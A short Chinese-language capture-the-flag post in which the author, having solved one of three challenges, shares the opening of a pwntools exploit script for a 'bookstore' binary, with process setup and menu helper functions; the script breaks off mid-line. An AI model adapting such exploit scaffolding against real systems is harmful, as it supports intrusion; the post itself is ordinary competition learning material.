本人才疏学浅,在赛场上研究只有一题做出来,剩下两题没做出来请大神指导指导
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# imports
from pwn import *
import time
import os
import sys
elf = ""
libc = ""
env = ""
LOCAL = 1
context.log_level = "debug"
p = process("./bookstore", env={"LD_PRELOAD":"/tmp/ironthree/book/libc_64.so"})
#p = remote("ip", port) #uncomment this.
p.recvuntil("choice:\n")
def add(name, length, book):
p.sendline("1")
p.recvuntil("name?\n")
p.send(name)
p.recvuntil("name?\n")
p.sendline(str(length))
p.recvuntil("book?\n")
p.send(book)
p.recvuntil("choice:\n")
def sell(idx):
p.sendline(&#